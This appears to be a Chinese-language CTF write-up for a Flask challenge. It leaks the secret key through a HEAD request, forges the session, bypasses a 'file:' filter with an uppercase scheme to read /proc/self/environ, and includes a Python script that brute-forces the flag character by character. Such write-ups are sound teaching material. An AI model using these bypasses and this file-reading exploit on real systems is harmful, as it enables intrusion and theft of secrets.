解题
进入题目随便输入东西后,发现是flask的session伪造,但是需要绕过一个点
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
不能使用get方法,我们改post,put都不allowed,那么更换请求方式如HEAD请求得到session,先base64解码,得到
发现了key,然后使用脚本,伪造新的数据
得到源码
from flask import Flask, request, session, render_template,
url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag
SECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
#src in /app
@app.route('/')
@app.route('/index',methods=['GET'])
def index():
return render_template("index.html")
@app.route('/get_data', methods=["GET",'POST'])
def get_data():
data = request.form.get('data', '123')
if type(data) is str:
data=data.encode('utf8')
url = request.form.get('url', 'http://127.0.0.1:8888/')
if data and url:
session['data'] = data
session['url'] = url
session["admin"]=False
return redirect(url_for('home'))
return redirect(url_for('/'))
@app.route('/home', methods=["GET"])
def home():
if session.get("admin",False):
return render_template_string(open(__file__).read())
else:
return render_template("home.html",data=session.get('data','Not find data...'))
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY''')
@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
if session['data'] and session['url']:
if 'file:' in session['url']:
return "no no no"
data=(session['data']).decode('utf8')
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')#urllib.request.urlopen() 函数将会返回一个类似文件的对象,可以通过该对象来读取 URL 的内容。为什么我们不直接传入session,非要在这传入,因为decode('utf8'),这里告诉我们需要传入的是原始数据,所以多了一步get_data取值的步骤
if url_text in data or data in url_text:
return "you get it"
return "what ???"
@app.route('/getflag', methods=["GET"])
def get_flag():
res = flag.waf(request)
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
审计一下代码
/home就是我们刚刚验证session的地方
/get_data是给session的data和url,admin传入参数
/get_hindd_result就是读取文件,url为session传的url,获取页面数据和传入的data做比较,如果有返回you get it,没有就what???,但是过滤了file,很明显的利用file协议去读文件,大写即可绕过
思考一下读什么文件,我们可以看到引入了flag,那其实一定有文件flag.py
不过看wp都说不好读,读的是环境变量里的proc/self/environ
下面开始写脚本
import string#引入string,方便写list
import requests
url1="http://node4.anna.nssctf.cn:28831/get_data"
url2="http://node4.anna.nssctf.cn:28831/get_hindd_result"
flag="NSSCTF{"
while 1:
for i in string.printable:
tmp_flag=flag+i
data={"url":"File:///proc/self/environ","data":tmp_flag}
res=requests.session()#获取session的对话
res.get(url1,data=data)#给session的url和data赋值
session_tmp=str(res.cookies.values())[2:-2]#res.cookies.values() 返回的是一个 cookies 值的列表。打印出来的值是有['值'],我们只需要值,要进行切片操作,但是必须转化为字符才能截取字符,不然默认为列表切片
flag_resp=requests.get(url2,cookies={"session":session_tmp})#给cookie赋值,因为读文件是从session取值的
if "you get it" in flag_resp.text:
flag+=i
print(flag)
break
运行得到flag